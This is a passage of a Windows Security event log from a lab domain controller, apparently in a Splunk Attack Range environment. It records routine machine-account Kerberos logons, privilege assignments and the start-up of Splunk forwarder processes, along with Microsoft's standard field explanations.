The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256430
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40552E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256436
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256438
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256437
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256452
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x878
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256451
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4067B9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256450
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4068C9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256449
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x406912

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256448
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x406996
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65255

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256447
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x406996

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256446
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x406912
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		65254

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256445
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x406912

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256444
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4068C9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256443
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4068C9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256442
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4067B9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65253

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256441
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4067B9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256440
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x40678B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65252

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256439
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40678B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256453
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256454
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256455
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc10
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:22:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256456
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x406996

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256459
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x408F6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:22:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256458
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x408F6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65266

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:22:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256457
Keywords=Audit Success
